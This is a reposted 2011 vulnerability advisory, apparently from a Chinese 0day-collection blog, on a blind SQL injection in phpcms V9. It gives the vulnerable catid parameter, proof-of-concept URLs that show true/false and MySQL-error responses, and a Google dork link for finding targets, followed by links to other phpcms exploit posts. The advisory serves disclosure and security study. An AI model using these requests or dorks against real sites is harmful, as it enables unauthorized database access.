phpcms V9 BLind SQL Injection Vulnerability

2011, January 23, 11:23 AM. oday收藏
Submitted by admin

=================================================================
    phpcms V9 BLind SQL Injection Vulnerability
=================================================================

Software:   phpcms V9
Vendor:     www.phpcms.cn
Vuln Type:  BLind SQL Injection
Download link:  http://www.phpcms.cn/2010/1229/326.html
Author:     eidelweiss
contact:    eidelweiss[at]windowslive[dot]com
Home:       www.eidelweiss.info

Google Dork:    http://www.exploit-db.com/ghdb/3676/    // check here ^_^

References:
http://eidelweiss-advisories.blogspot.com/2011/01/phpcms-v9-blind-sql-injection.html

=================================================================

    exploit & p0c

[!] index.php?m=content&c=rss&catid=[valid catid]

    Example p0c

[!] http://host/index.php?m=content&c=rss&catid=10  <= True
[!] http://host/index.php?m=content&c=rss&catid=-10 <= False

[+] http://host/index.php?m=content&c=rss&catid=5   <= show MySQL Error (table)

=================================================================

    Nothing Impossible In This World Even Nobody`s Perfect

=================================================================

=========================| -=[ E0F ]=- |=========================

Tags: phpcms

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Phpcms 2008 flash_upload.php文件注入漏洞 (浏览: 11868, 评论: 0)
Phpcms 2008 query.php SQL注入漏洞 (浏览: 6393, 评论: 0)
Phpcms 2008 space.api.php SQL注入漏洞 (浏览: 5139, 评论: 0)
很老的一个PHPCMS2008 SP2 0day (浏览: 6794, 评论: 0)
Phpcms2008本地文件包含漏洞及利用:任意SQL语句执行 (浏览: 7400, 评论: 0)
phpcms 0day一枚 (浏览: 10657, 评论: 0)
phpcms2008 sp3通杀0day (浏览: 5374, 评论: 0)
phpcms2008sp4 最新sql注入 (浏览: 6595, 评论: 0)
phpcms2008sp4 IIS下下载任意文件漏洞 (浏览: 8067, 评论: 0)
phpcms2008 sp3通杀0day (浏览: 7608, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):